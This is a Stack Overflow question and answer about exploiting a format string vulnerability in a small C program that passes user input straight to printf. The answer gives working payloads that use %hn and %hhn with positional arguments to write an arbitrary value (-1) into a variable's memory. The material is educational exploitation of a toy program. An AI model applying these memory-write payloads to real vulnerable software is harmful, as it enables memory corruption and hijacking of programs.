String format exploit: set negative value = "-1" use %n

1

I'm trying to set the value of a variable using Format String exploit. I was able to change the variable by the value of the length of the string using the modifier %n.

code

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
    char buffer[100];
    static int a=77;
    strcpy(buffer, argv[1]);
    printf(buffer);
    printf("address a = 0x%08x, [0x%08x]\n", &a, a);
    printf("a = %d\n", a);
return 0;
}

after

./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n

address a = 0x080498c4, [0x00000034]
a = 52

How can I change a variable set to a negative value, for example "a = -1"?

P.S. I found out that this can be done with %u.

c
string-formatting
exploit
asked on Stack Overflow Oct 14, 2017 by NK99Dev • edited Oct 14, 2017 by The Vee

1 Answer

1

Just use the trick that's described by the end of the first section in the linked article. This comprises splitting the value -1 (0xFFFFFFFFF) into lower and upper word (twice 0xFFFF) and writing these separately to addresses &a and (void*)(&a)+2:

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn"

Explained:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a

The number 7 comes from your previous command:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
                            1^  2^  3^  4^  5^  6^7^

and I stored one more address, so that gets stacked at position 8.

This still makes a lot of output, you can go one step further and write 0xFFFFFFFF byte by byte. It would look like this:

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8\$hhn ... the same for the second
%9\$hhn ... the same for the third
%10\$hhn ... the same for the last

Numbers other than 0xFFFFFFFF need some extra output between each %hhn. You need to compute how many garbage bytes to output between them to make up for the respective differences. If you need to go below the previous value use the fact that only a byte is written so the arithmetic goes modulo 256.

answered on Stack Overflow Oct 14, 2017 by The Vee • edited Oct 14, 2017 by The Vee

User contributions licensed under CC BY-SA 3.0